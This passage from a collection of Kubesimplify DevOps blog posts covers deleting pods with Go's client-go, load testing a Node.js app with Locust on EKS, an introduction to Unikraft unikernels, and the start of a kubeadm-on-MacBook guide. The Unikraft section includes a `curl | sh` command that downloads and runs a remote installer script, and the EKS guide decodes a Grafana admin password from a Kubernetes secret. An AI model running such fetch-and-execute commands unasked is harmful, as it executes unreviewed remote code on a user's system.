![](/img/blog/perform-crud-operations-on-kubernetes-using-golang/3ff0aa5d-fb29-4782-bccf-b0b71269f8a3.png align="center")

## Step 7 - Delete an Existing Pod

It’s time for a cleanup and now we wish to **delete the pod** we created above i.e. `demo-k8s-7p7w9`.

Below is the code snippet to delete the specified pod:

```go
	deleteErr := podsClient.Delete(context.TODO(), "demo-k8s-7p7w9", metav1.DeleteOptions{})
	if deleteErr != nil {
		panic(deleteErr.Error())
	}
```

This one’s simple, as we are just using the `Delete()` method from the `PodInterface` interface to delete a specific pod.

Here’s the complete code for the delete operation, along with the output after execution:

```go
package main

import (
	"context"
	"os"
	"path/filepath"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/tools/clientcmd"
)

func main() {

	// get kubeconfig
	home, _ := os.UserHomeDir()
	kubeConfigPath := filepath.Join(home, ".kube/config")

	// use the current context in kubeconfig
	config, err := clientcmd.BuildConfigFromFlags("", kubeConfigPath)
	if err != nil {
		panic(err.Error())
	}

	// create a new client
	client := kubernetes.NewForConfigOrDie(config)

	// define the namespace
	namespace := "default"

	// define the pods client (easy for later use)
	podsClient := client.CoreV1().Pods(namespace)

	// delete a pod
	deleteErr := podsClient.Delete(context.TODO(), "demo-k8s-7p7w9", metav1.DeleteOptions{})
	if deleteErr != nil {
		panic(deleteErr.Error())
	}

}
```

![](/img/blog/perform-crud-operations-on-kubernetes-using-golang/625cac17-004d-4972-b693-e9077d7d0483.png align="center")

# Additional Configurations Options In `Client-go`

Here are a few additional and useful configurations, which are good to know!

## Alternate Way to Kubeconfig Setup

In the initial step, we set the `kubeconfig` file location be the default location which is in - `${HOME}/.kube/config`.

There’s an alternate way of configuring this step, wherein we can use the flag `—-kubeconfig`, to **set a custom location** for the `kubeconfig` file to be used.

Below is the code snippet to set the `—-kubeconfig` flag:

```go
var kubeconfig *string
if home := homedir.HomeDir(); home != "" {
    kubeconfig = flag.String("kubeconfig", filepath.Join(home, ".kube", "config"), "(optional) absolute path to the kubeconfig file")
} else {
    kubeconfig = flag.String("kubeconfig", "", "absolute path to the kubeconfig file")
}
flag.Parse()

config, err := clientcmd.BuildConfigFromFlags("", *kubeconfig)
if err != nil {
    panic(err)
}
```

A breakdown of the important concepts is as follows:

* `homedir.HomeDir()` - Here, we are using the `HomeDir()` method from the `k8s.io/client-go/util/homedir` package to fetch the user’s home location.
    
* We are using the flag package to define a new flag `kubeconfig`, that takes in a string input.
    

Now, if you wish to give a custom location of the `kubeconfig` file to use, it can be set as follows:

```bash
$ go run read.go --kubeconfig="/Users/kunalverma/Desktop/config"

There are 5 pods in the cluster
Name of 0th pod: demo-crud55wwk
Name of 1th pod: demo-nginx
Name of 2th pod: go-api-2mwpl
Name of 3th pod: test-deploy-859f95ffcc-8p8t8
Name of 4th pod: test-deploy-859f95ffcc-fcdld
```

## Alternate Way to Create a New Client

When it comes to the creating a new client using the config, the `client-go` module offers two ways to do so:

1. Using `kubernetes.NewForConfigOrDie(config)` - This is what we have used in the demo above.
    
2. Using `kubernetes.NewForConfig(config)`
    

The major difference between these two approaches is the way these handle errors.

`NewForConfigOrDie()` automatically takes care of any errors by panicking if there is an error in the config. Whereas, in `NewForConfig()` we need to handle the error explicitly, as shown below:

```bash
client, err := kubernetes.NewForConfig(config)
if err != nil{
    errors.New("Error in Config")
}
```

# Conclusion

In this practical guide, we covered the essentials of Kubernetes development using `client-go` in Go. **From setting up our environment to performing CRUD operations on Pod**, we've certainly gained some valuable insights.

These fundamentals set the right stage for you to navigate Kubernetes development with confidence and build robust applications with ease.

We’ll certainly be building some **cool projects** using the client libraries in the near future, so be sure to follow [Kubesimplify](https://blog.kubesimplify.com/?source=top_nav_blog_home) for more such content.

Here's a detailed video on this topic ⤵

%[https://youtu.be/liwZF_0I8Ks] 

**Happy Learning!**

# Resources

* [Client-go Examples](https://pkg.go.dev/k8s.io/client-go/examples)
    
* [Guide to Kubernetes API](https://blog.kubesimplify.com/practical-guide-to-kubernetes-api)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Optimizing Scalability: A Deep Dive into Load Testing with Locust on EKS

- Canonical: https://blog.kubesimplify.com/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks
- Published: 2024-04-15
- Summary: This article explores strategies for optimizing scalability using Locust for load testing on Amazon EKS.

## Introduction

This article explores strategies for optimizing scalability using Locust for load testing on Amazon EKS. We'll delve into scaling a Node.js app using Kubernetes' HPA and Cluster Autoscaler based on the load generated by Locust workers. The aim is to provide practical insights into ensuring applications can efficiently handle increasing user loads.

## Prerequisites

* Ensure you have AWS CLI configured with appropriate permissions and Terraform installed locally.
    
* A basic understanding of AWS services, Terraform, Kubernetes concepts, Horizontal Pod Autoscaling (HPA) principles, and familiarity with the Kubernetes Cluster Autoscaler is required.
    

## **Understanding Horizontal Pod Autoscaler**

Horizontal Pod Autoscaler(HPA) automatically adjusts the number of replica pods in a deployment or replication controller based on observed CPU utilization or other custom metrics. This ensures the application has sufficient resources to handle varying loads, thus improving performance and scalability.

## **Introduction to Locust**

Locust is an open-source load-testing tool that allows you to define user behavior with Python code. It simulates thousands of concurrent users hitting your application, making it an excellent choice for load testing in Kubernetes environments.

Now that we've covered the prerequisites, let's proceed with setting up two EKS clusters: one for our App and another for Locust. We'll use Terraform's official modules, configure worker node autoscaling policies, enable Horizontal Pod Autoscaling (HPA) through the Metric Server, and integrate the Cluster Autoscaler for dynamic scaling of cluster nodes based on resource utilization.

## Create VPC and EKS using the Terraform module

[<mark>GitHub</mark>](https://github.com/anshu049/EKS_using_Terraform_modules)

* Apply the terraform command.
    
* Add a policy to the worker node role.
    
    ```plaintext
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": [
            "autoscaling:DescribeAutoScalingGroups",
            "autoscaling:DescribeAutoScalingInstances",
            "autoscaling:DescribeLaunchConfigurations",
            "autoscaling:DescribeScalingActivities",
            "autoscaling:DescribeTags",
            "ec2:DescribeImages",
            "ec2:DescribeInstanceTypes",
            "ec2:DescribeLaunchTemplateVersions",
            "ec2:GetInstanceTypesFromInstanceRequirements",
            "eks:DescribeNodegroup"
          ],
          "Resource": ["*"]
        },
        {
          "Effect": "Allow",
          "Action": [
            "autoscaling:SetDesiredCapacity",
            "autoscaling:TerminateInstanceInAutoScalingGroup"
          ],
          "Resource": ["*"]
        }
      ]
    }
    ```
    
* Apply cluster autoscaler yaml after updating the `cluster-name` and `image version` in the deployment section to match your Kubernetes version.
    
    [<mark>Github</mark>](https://github.com/kubernetes/autoscaler/blob/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml)
    
* Add the metric server for HPA to gather data.
    
    ```plaintext
    kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
    ```
    
* We need to create HPA for both locust and app after deploying them.
    
    `kubectl autoscale deployment <deploy-name> --cpu-percent=50 --min=1 --max=10`
    

## Install monitoring components on the cluster

**Run the following commands:**

```plaintext
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo update
kubectl create ns monitoring
helm install monitoring prometheus-community/kube-prometheus-stack -n monitoring
```

* Edit the service of Prometheus and Grafana from ClusterIP to `LoadBalancer` to access the UI.
    
* Prometheus doesn't require an initial password, for Grafana we can run
    
    ```plaintext
    kubectl get secret --namespace monitoring monitoring-grafana -o jsonpath="{.data.admin-password}" | base64 --decode ; echo
    ```
    

## Deploy sample app

[<mark>GitHub</mark>](https://github.com/anshu049/Node-App-Manifests/blob/master/manifests/deploy.yaml)

* After applying the manifests, access the app using the LoadBalancer IP.
    
* **Configuration File for Application Monitoring**
    
    ```plaintext
    apiVersion: monitoring.coreos.com/v1
    kind: ServiceMonitor
    metadata:
      name: monitoring-node-app
      labels:
        release: monitoring
        app: nodeapp
    spec:
      endpoints:
      - path: /metrics
        port: service
        targetPort: 3000
      namespaceSelector:
        matchNames:
        - nodeapp # namespace in which app is deployed
      selector:
        matchLabels:
          app: nodeapp
    ```
    
* After applying the above YAML, add metrics in Grafana to view the dashboard.
    
* In Prometheus UI search for `http_request_operations_total` (for total request generated) and `sum(rate(http_request_operations_total[15m]))` (for request/second).
    
* In Grafana UI create a new dashboard by adding the above two metrics.
    

## Deploy Locust

[<mark>GitHub</mark>](https://github.com/anshu049/Locust-on-k8s/blob/master/deploy.yaml)

* Update the Configmap provided in the GitHub repo before applying it. Add the actual URL of the app in the `task` section so that Locust can send traffic to the right place. Locust's master service is configured as LoadBalancer type to access the UI.
    
* Locust's master service is configured as `LoadBalancer` type to access the UI.
    

## Demo

**Access the UI of locust and Run the Test**

Access the Locust UI to configure and initiate the load test. Define the behavior of simulated users, such as the number of users, the rate of requests, and specific endpoints to target.

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/867689d2-8ff8-4bd0-b486-a97a08216b0a.png align="left")

**Grafana Dashboard**

* This metric indicates the rate at which Locust generates requests to your Node.js app, showcasing the simulated load.
    

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/f3c146bf-dc11-4556-b82a-e76e2fda421b.png align="center")

* This metric presents the total number of requests sent by Locust to your application, offering a comprehensive view of the applied load.
    

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/5a7535af-5e4e-4724-a006-87f5989c095e.png align="center")

* Observe the cluster's resource utilization metrics, including CPU and memory usage, and witness the dynamic scaling of the cluster in response to increased load.
    

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/d4a51b37-6afa-43a6-9635-9b1f3f26d61b.png align="center")

* Allow it to run for a few minutes, during which time you can switch between the "Statistics" tab and the "Charts" tab to observe the progress of the test.
    

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/39680eb4-dba8-426e-b55a-93500babcfc8.png align="center")

We can observe that 69 Locust workers have been created using HPA, to generate load on our app.

## **Observation: Cluster Scaling**

## HPA

When the workload on your Node.js application surpasses the defined threshold, which is determined by CPU utilization, the Horizontal Pod Autoscaler (HPA) takes action. It dynamically adjusts the number of pods running your application to match the current demand. This means that if your application experiences higher traffic or processes more requests, HPA will trigger the creation of a new pod to handle the additional load.

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/a1d46765-7b1e-4f18-88b0-a111774653f6.png align="center")

## **Pending State**

After HPA initiates the creation of a new pod, the Kubernetes scheduler tries to assign the pod to an available node within your cluster. However, if there aren't enough resources (such as CPU, memory, or disk space) on the existing nodes to accommodate the new pod, it enters a "pending" state. This indicates that the pod is waiting for resources to become available before it can start running.

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/3054c927-35ff-4544-a926-5bd56254850e.png align="right")

## Automatic Node Creation by Cluster Autoscaler

Recognizing that the pending pod requires additional resources that cannot be met by the existing nodes, the Cluster Autoscaler takes action. It monitors the resource utilization across your cluster and identifies the need for more computing capacity. In response to this demand, the Cluster Autoscaler automatically provisions a new worker node (virtual machine) within your Kubernetes cluster.

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/249efa8d-f24c-4376-bea5-25ece7b73573.png align="center")

## Transition to Running State for Pods

Once the new worker node is provisioned and ready to accept pods, the pending pod transitions from the "pending" state to the "running" state, this signifies that the pod is now actively serving requests and contributing to handling the increased load on your application. With the new pod running and workload distributed across multiple pods, your application can effectively manage the surge in traffic without compromising performance or availability.

![](/img/blog/optimizing-scalability-a-deep-dive-into-load-testing-with-locust-on-eks/1574fb84-429d-485b-95fe-2c7068ab5097.png align="center")

## Conclusion

In summary, this detailed exploration of load testing with Locust on Amazon EKS focused on optimizing scalability for a Node.js application using Kubernetes' HPA and Cluster Autoscaler. Key steps included setting up EKS clusters, implementing worker node autoscaling policies, enabling HPA, integrating the Cluster Autoscaler, and deploying monitoring components like Prometheus and Grafana. The process showcased how the system dynamically scaled resources in response to increased load, ensuring efficient traffic handling. Overall, this guide offers practical insights for developers and DevOps teams to improve scalability and performance in Kubernetes environments.

**Remember to delete all resources after the demo.**

---

# Introducing Unikraft - Lightweight Virtualization Using Unikernels

- Canonical: https://blog.kubesimplify.com/introducing-unikraft-lightweight-virtualization-using-unikernels
- Published: 2024-04-08
- Summary: Unikraft is a fast, secure and open-source Unikernel Development Kit which enables you to easily build minimal, ultra-lightweight virtual machines.

[Unikraft](https://unikraft.org/) is a fast, secure and **open-source Unikernel Development Kit** which enables you to easily build minimal, ultra-lightweight virtual machines.

In practice, it is an alternative to running your application in the cloud. Now, in production environments, it feels no different to managing traditional containers — that we all are familiar with, but whats fundamentally different from containers and traditional virtual machines, **is the way your application is packaged and executed by Unikraft.**

The high level goal of Unikraft is to build customizable and specialized OS images, known as **unikernels** — **lightweight, single-purpose operating systems optimized for specific applications.** Unlike traditional virtualization solutions such as containers and virtual machines, that come with a wide range of features and functionalities, unikernels are tailored to serve a single task or application, resulting in minimal resource usage and enhanced performance.

Unikraft aims to streamline the process of creating and managing custom unikernels by providing developers with a modular and flexible approach by offering a comprehensive set of tools and libraries, which enables developers to optimize **resource utilization**, **enhance security**, and **improve scalability** across a wide range of use cases.

# Understanding Unikernels

According to the [official documentation](http://unikernel.org/):

> Unikernels are specialized, single-address-space machine images constructed by using library operating systems (libOS).

Simply put, **Unikernels are lightweight, single-purpose operating systems that are tailored to serve a specific application or task.** Unlike traditional operating systems, which include a wide range of features and functionalities, unikernels contain only the necessary components required to support a particular application. This focused approach results in **highly efficient and optimized systems, with reduced resource overhead and attack surface.**

## Evolution from VMs and Containers

Till now we have seen that, in most production systems, often the standard unit of isolation is the virtual machine (VM) since this provides **the greatest degree of security for the application(s) enclosed within the isolated environment.**

However, it was observed that a fully virtualized traditional VM is too heavy for most applications, which eventually led to the **container-based model**. Containers become a popular choice for packaging, deploying, and managing applications in cloud-native and microservices architectures due to their **efficiency, flexibility, and portability.**

Eventually, the evolution of running applications in the cloud led to the practice of running containers within virtual machines (VMs). This approach combines the strengths of both containers and VMs, providing robust isolation and security from VMs, while also benefiting from the flexibility and efficiency of containers.

> 💡 [Kubernetes](https://kubernetes.io/) is an apt example of such deployment model, where the node pools are generally deployed as VMs.  
> Thus, it has been the de facto orchestration framework for container applications!

[![Comparison between VM, Containers & Unikernels](/img/blog/introducing-unikraft-lightweight-virtualization-using-unikernels/64e7046c-6749-4760-a99c-f8d1f728330e.png align="center")](https://unikraft.org/docs/concepts#introduction-to-unikernels)

In the traditional concept of virtualization, the isolation between different VMs is typically achieved through **software-based mechanisms** implemented by the [hypervisor](https://www.vmware.com/topics/glossary/content/hypervisor.html) (a specialized operating system) or the virtualization layer. This means that the hypervisor manages and enforces the isolation boundaries between VMs, using software-based techniques like memory protection, CPU scheduling, and device emulation.

> 💡 What is Device Emulation?
> 
> Simply put, Device emulation is like creating virtual versions of physical devices, such as network cards, storage drives, or graphics cards, within a virtual machine (VM). These virtual devices behave just like the real ones but exist only within the VM's environment.
> 
> For example, if the virtual computer wants to send data over the internet, the virtual network card (of the VM) sends the data out of the virtual machine, just like a real network card would. Similarly, if you want to save a file, the virtual storage drive takes care of it within the VM.
> 
> Thus, device emulation is essential for virtual machines because it allows them to interact with the outside world, access resources, and perform tasks as if they were physical machines, all while running within another computer's software environment i.e the Host OS.

With unikernels, this **“isolation”** is achieved at a lower level, **directly by the hardware itself**, rather than relying solely on software-based techniques. These hardware extensions provide the necessary support for creating and managing isolated execution environments, **allowing unikernels to run directly on the underlying hardware with minimal overhead.**

Therefore, by leveraging hardware primitives for isolation, unikernels are able to achieve **better performance** and **efficiency** compared to traditional virtualization approaches that rely purely on software-based isolation mechanisms.

This direct hardware-level isolation also contributes to the **enhanced security** and **reliability** of unikernels, as it reduces the attack surface and minimizes the impact of potential vulnerabilities in the software stack.

## Unikernels v/s Traditional OSes

Apart from it being a modern approach to virtualization, unikernels have several unique characteristics and benefits over traditional operating systems. A few of them are discussed below:

* **Minimalist Architecture:** Unikernels are designed to be extremely lightweight, containing only the essential components needed to run a specific application. This minimalist architecture results in reduced memory footprint, faster boot times, and improved performance.
    
* **Enhanced Security:** By stripping away unnecessary components, unikernels have a smaller attack surface, making them more secure. Additionally, because they are built to serve the purpose for a single application, unikernels reduce the risk of security vulnerabilities associated with multi-purpose systems such as Linux, Windows, or macOS.
    
* **Efficient Resource Utilization:** Unikernels focus resources solely on the application's requirements, making them ideal for resource-constrained environments like the cloud or edge devices.
    

# **Why Unikraft?**

Unikraft is designed to solve the [problems with using monolithic OSes](https://unikraft.org/docs/concepts/design-principles#problems-with-monolithic-oses) and enable developers to create a specialized OS for each application, ensuring optimal performance, security guarantees, and meeting desired Key Performance Indicators (KPIs).

Unikraft adopts several unique [design principles](https://unikraft.org/docs/concepts/design-principles) to achieve high modularity, enable great performance and security guarantees for your application. Some of them are discussed below:

* **Library Components** - Unikraft offers a modular approach to building unikernels, with library components serving as the core building blocks for applications. These components handle crucial functions like memory management, scheduling, file access, and networking. Developers can easily select and configure these components using Unikraft's intuitive menu-driven interface, inspired by [Linux's Kconfig system](https://www.kernel.org/doc/html/next/kbuild/kconfig-language.html).
    
* **Configurability** - Unikraft prioritizes configurability, allowing developers to fine-tune and customize every aspect of the unikernel to meet specific application needs. Drawing inspiration from [Linux's Kconfig system](https://www.kernel.org/doc/html/next/kbuild/kconfig-language.html), developers can easily select and configure libraries during the build process. This flexibility ensures adaptability to various use cases and environments.
    
* **Tooling and Integrations** - Unikraft provides a comprehensive suite of tools designed to simplify unikernel creation and management. Leveraging technologies like **Go,** [**GNU Make**](https://www.gnu.org/software/make/)**, C, and Kconfig**, these tools handle compilation, linking, and image generation tasks effortlessly. This tooling ecosystem empowers developers to build and deploy unikernels across different platforms with ease.
    

# Key Features

Let us have a look at the key features offered by Unikraft across different dimensions:

## Performance

Unikraft excels in performance testing, having lightning-fast boot times in milliseconds and minimal memory usage, typically requiring **only a few megabytes.**

Moreover, Unikraft's modular approach significantly reduces image sizes, with all applications **staying under 2MBs**. Boot times for the unikernels created with Unikraft range from **microseconds to milliseconds**, showcasing its efficiency. Memory consumption is minimal, with Unikraft guests **needing only 2-6MBs.**

Due to all the above factors, application performance is outstanding, with speeds **30%-80% faster than containers** and **70%-170% faster than Linux VMs.**

This amazing performance, results in an overall reduction in system call costs and optimized memory allocation, making Unikraft an excellent choice for modern computing.

## Security

Unikraft ensures top-notch security with its minimal attack surface and robust isolation between applications. By focusing on single-application execution and removing unnecessary components, Unikraft significantly reduces potential vulnerabilities. By supporting safe languages like Rust to implement critical components, it adds an extra layer of enhanced protection.

Plus, Unikraft actively integrates core security features such as [ASLR](https://www.ibm.com/docs/en/zos/2.4.0?topic=overview-address-space-layout-randomization) and [stack protection](https://techcommunity.microsoft.com/t5/windows-os-platform-blog/understanding-hardware-enforced-stack-protection/ba-p/1247815). Thus, aligning with industry standards to ensure comprehensive security measures.

## Efficiency

In terms of efficiency, Unikraft outperforms traditional monolithic operating systems like Linux. Through practical tests on devices like the **Raspberry Pi 3 B+** and the **Xilinx Ultra96-V2**, Unikraft demonstrates lower power consumption than [Alpine Linux](https://www.alpinelinux.org/) and [Raspbian OS](https://www.raspbian.org/).

> These tests include idle states as well as CPU-intensive tasks like calculating π.

Thus, Unikraft's ability to reduce power usage, especially in single-core scenarios (with networking disabled), highlights its efficiency advantage over Linux.

## Compatibility

Unikraft prioritizes compatibility by ensuring [POSIX](https://www.baeldung.com/linux/posix) and Linux compatibility, allowing seamless migration of existing applications to its deployment model. It incorporates a binary-compatibility layer, which enables the execution of [Linux binaries (ELFs)](https://www.baeldung.com/linux/executable-and-linkable-format-file#:~:text=ELF%20is%20short%20for%20Executable,executed%20on%20various%20processor%20types.) on top of Unikraft.

To achieve this, Unikraft complies with [Linux's ABI](https://opensource.com/article/22/12/linux-abi), providing a broad range of its system call interface — currently on `x86_64` with plans for extension to `AArch64`.

Unikraft's [application catalog repository](https://github.com/unikraft/catalog) includes binary-compatible apps, enabling users to access and develop applications easily. By leveraging an application's native build system with [musl C standard library](https://musl.libc.org/), Unikraft eliminates the need for extensive application porting efforts.

Unikraft's commitment to compatibility extends to support for a wide range of applications and languages, enhancing its deployment potential. Ongoing efforts to increase `syscall` support aim to further expand Unikraft's ability to seamlessly run mainstream applications!

# **Potential Use Cases and Applications**

With its unique features, the unikernel-based model of Unikraft offers a wide range of potential use cases across various industries.

It excels in scenarios where lightweight, specialized operating systems are needed to optimize performance, security, and efficiency. Some notable examples include **cloud computing, edge computing, Internet of Things (IoT) devices, containerized applications, and real-time processing systems.**

In **cloud computing**, Unikraft enables rapid deployment of highly efficient and secure microservices, reducing overhead and resource consumption.

Talking about **edge computing**, Unikraft's lightweight footprint and fast boot times make it ideal for deploying applications closer to users, improving latency and reliability.

In the **IoT sector**, Unikraft's small size and tailored configurations enhance device performance while ensuring robust security.

Overall, Unikraft's adaptability and efficiency makes it a valuable tool across a wide range of industries and use cases, empowering developers to build high-performance, secure applications tailored to specific requirements.

# Get Started Using Unikraft

Below is a quick start guide for you all, to get started using Unikraft:

## Step 1 - Install the `kraft` CLI

To begin, first install the [`kraft` CLI tool](https://unikraft.org/docs/cli/install), which allows you to easily leverage Unikraft unikernels at every stage of their lifecycle, from construction to production:

```bash
curl --proto '=https' --tlsv1.2 -sSf https://get.kraftkit.sh | sh
```

## Step 2 - Using the Application Catalog

The [Unikraft application catalog](https://github.com/unikraft/catalog) is a collection of applications and examples that are built and packaged to run with Unikraft. The application packages are stored in the **Unikraft Application Registry**, typically identified by a name similar to those used by [DockerHub](https://hub.docker.com/) - `unikraft.org/node:18`, `unikraft.org/python:3.10` , etc.

To list down all the available applications in the registry, use the command below:

```bash
$ kraft pkg ls --apps --all --update

TYPE  NAME                     VERSION  FORMAT  PULLED       MANIFEST  INDEX    PLAT           SIZE
app   unikraft.org/base        latest   oci     never        6cef805   3d4c008  qemu/x86_64    1.6 MB
app   unikraft.org/base        latest   oci     never        fbb21c5   3d4c008  fc/x86_64      1.6 MB
app   unikraft.org/caddy       2.7      oci     never        1bcd45f   85d8bba  qemu/x86_64    63 MB
app   unikraft.org/caddy       2.7      oci     never        7804074   85d8bba  fc/x86_64      63 MB
app   unikraft.org/helloworld  latest   oci     never        281e174   addacb0  xen/x86_64     143 kB

...
```

> If you wish to know more about the application catalog and how it works, check out the [documentation](https://unikraft.org/guides/catalog-behind-the-scenes).

## Step 3 - Starting an Nginx Server

For this quick demo, let us pull and run the Unikraft nginx image - `unikraft.org/nginx:1.15` from the application catalog, to start a new nginx server:

```bash
$ kraft run -W -dp 8080:80 unikraft.org/nginx:1.15

[+] pulling unikraft.org/nginx:1.15 •••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 100% [8.5s]
                                                                                                                              i  using arch=arm64 plat=qemu
Powered by
o.   .o       _ _               __ _
Oo   Oo  ___ (_) | __ __  __ _ ' _) :_
oO   oO ' _ `| | |/ /  _)' _` | |_|  _)
oOo oOO| | | | |   (| | | (_) |  _) :_
 OoOoO ._, ._:_:_,\_._,  .__,_:_, \___)
                 Telesto 0.16.3~21bf34c
```

In the above command, we are using the `-p` flag to map the unikernel’s port `80` and the host port `8080` (similar to how we do it using [docker commands](https://docs.docker.com/network/#published-ports)).

## Step 4 - Verify the Nginx Unikernel

Use the following command to list all the running unikernels:

```bash
$ kraft ps

NAME               KERNEL                         ARGS                       CREATED         STATUS   MEM  PORTS                 PLAT
relaxed_snowflake  oci://unikraft.org/nginx:1.15  -c /nginx/conf/nginx.conf  17 seconds ago  running  64M  0.0.0.0:8080->80/tcp  qemu/arm64
```

You’ll now be able to access the Nginx page at localhost:8080 in your machine!

![Nginx Page](/img/blog/introducing-unikraft-lightweight-virtualization-using-unikernels/48a91ee0-36c1-4184-af9e-f018e1ea9cb8.png align="center")

# Conclusion

**So what do you think of Unikraft?** Be sure to join their [discord community](https://unikraft.org/discord) if you wish to get involved or have any questions. Feel free to share your feedback about the tool or any features you wish to see in the coming future.

We are definitely looking forward to seeing the full potential of the unikernel model with Unikraft, in the coming future!

# Resources

Here are a couple of resources to get you started:

* [Unikraft Github](https://github.com/unikraft/unikraft)
    
* [Unikraft Concepts](https://unikraft.org/docs/concepts)
    
* [Internal Architecture](https://unikraft.org/docs/internals/architecture)
    
* [CLI Reference](https://unikraft.org/docs/cli)
    
* [Unikraft Guides](https://unikraft.org/guides)
    

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify). Join our [**Discord server**](https://kubesimplify.com/discord) to learn with us!

---

# Kubernetes on Apple MacBooks (M Series)

- Canonical: https://blog.kubesimplify.com/kubernetes-on-apple-macbooks-m-series
- Published: 2024-04-01
- Summary: This article is a step-by-step walkthrough on how to install a Kubernetes cluster on a MacBook (M series) laptop using the kubeadm tool.

There are many options to provision a local Kubernetes cluster on your laptop. The most popular ones are [minikube](https://minikube.sigs.k8s.io/docs/start/), [kind](https://kind.sigs.k8s.io/), [K3s](https://k3s.io/) and [MicroK8s](https://microk8s.io/). These options provide a simple and fast way to get Kubernetes running on your laptop by abstracting the complexities within the Kubernetes control plane.

[Kubeadm](https://kubernetes.io/docs/reference/setup-tools/kubeadm/) is a tool that facilitates provisioning Kubernetes clusters on virtual machines. It can provision a multi-node Kubernetes cluster for development or production purposes. It can provision clusters on your local laptop, on-premise cloud or public cloud. A cluster provisioned by `kubeadm` is a great way for Kubernetes administrators to have a playground to work with. It is also useful for people pursuing the [CKA](https://training.linuxfoundation.org/certification/certified-kubernetes-administrator-cka/) and [CKS](https://training.linuxfoundation.org/certification/certified-kubernetes-security-specialist/) certifications to practice tasks like cluster upgrade and troubleshooting.

[VirtualBox](https://www.virtualbox.org/) is by far the most popular tool to spin up virtual machines (VMs) on a personal laptop. VirtualBox supports virtualization for x86 and AMD64 CPU architectures.

In 2020, Apple introduced the M series of MacBooks which use the Apple Silicon chip, based on ARM64 CPU architecture. VirtualBox does not have good support for machines based on ARM64 (a developer preview version exists, which cannot be relied on). As the M series MacBooks have gained popularity, it is important to look for an alternative virtualization tool that is tested and certified for ARM64. Enter [`Multipass`](https://multipass.run/) by Canonical, a simple virtualization tool that is fully compatible with ARM64 based machines.

This article is a step-by-step walkthrough on how to install a Kubernetes cluster on a MacBook (M series) laptop using the `kubeadm` tool. It is a simplification of the steps in the official [Kubernetes documentation](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm).

## Pre-requisites

* A MacBook laptop (M series) with minimum 16 GB RAM (recommended).
    
* [`Multipass`](https://multipass.run/) by Canonical should be installed as per the [instructions](https://multipass.run/install) for macOS. After installation, verify that you are able to launch a sample Ubuntu instance. Cleanup the instance after verification.
    
* Your account on your MacBook must have admin privileges and be able to use `sudo`.
    

## Provision the VMs

We will create 3 VMs for our setup as follows:

* `kubemaster`: The controlplane node
    
* `kubeworker01`: The first worker node
    
* `kubeworker02`: The second worker node
    

Each VM will have the following configuration (you can choose to edit it as per your host machine capacity)

* Disk space: 10G
    
* Memory 3G
    
* CPUs 2
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">In <code>Multipass</code>, by default, the IP address allocated to a VM is subject to change after a reboot of the VM. If IP addresses change over reboots, it breaks the Kubernetes cluster. As such, it is imperative that the VMs are provisioned with a static IP address as documented <a target="_blank" rel="noopener noreferrer nofollow" href="https://multipass.run/docs/configure-static-ips" style="pointer-events: none">here</a>.</div>
</div>

### Provisioning the controlplane instance (`kubemaster`)

**Launch the**`kubemaster` instance with a manual network

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">The values to the <code>--network</code> option need to be passed carefully.</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text"><code>name=en0</code>: This is the name of the Wi-Fi network on your host machine. To get a list of possible values, use the command <code>multipass networks</code>. <code>mac="52:54:00:4b:ab:cd"</code>: A unique and random MAC address that will be allocated to the instance.</div>
</div>

```plaintext
multipass launch --disk 10G --memory 3G --cpus 2 --name kubemaster --network name=en0,mode=manual,mac="52:54:00:4b:ab:cd" jammy
```

You should see the following output:

```plaintext
Launched: kubemaster
```

**Configure the extra interface**

> The `macaddress` field should contain the exact MAC address chosen in the `multipass launch` command.  
> The `addresses` field should contain the static IP address that will be allocated to this VM. The static IP address should be in the same subnet as the original IP address of the instance.  
> The original IP address allocated to the VM can be found by the `multipass info kubemaster` command as shown below:
> 
> ```plaintext
> multipass info kubemaster | grep IPv4
> ```
> 
> You should see an output similar to:  
> IPv4: 192.168.73.7  
> In this example, the original IP address of the instance is 192.168.73.7. So the static IP address can be chosen as 192.168.73.101

**Execute the command shown below**

```yaml
multipass exec -n kubemaster -- sudo bash -c 'cat << EOF > /etc/netplan/10-custom.yaml
network:
  version: 2
  ethernets:
    extra0:
      dhcp4: no
      match:
        macaddress: "52:54:00:4b:ab:cd"
      addresses: [192.168.73.101/24]
EOF'
```

**Apply the new configuration**

```console
multipass exec -n kubemaster -- sudo netplan apply
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">In case you receive a warning stating that the permissions are too open, please ignore it.</div>
</div>

**Confirm that it works**

```plaintext
multipass info kubemaster | grep IPv4 -A1
```

You should see an output displaying both the original IP address and the static IP address:

```plaintext
IPv4:           192.168.73.7
                192.168.73.101
```

Let's test the network connectivity using the ping command:  
Example:  
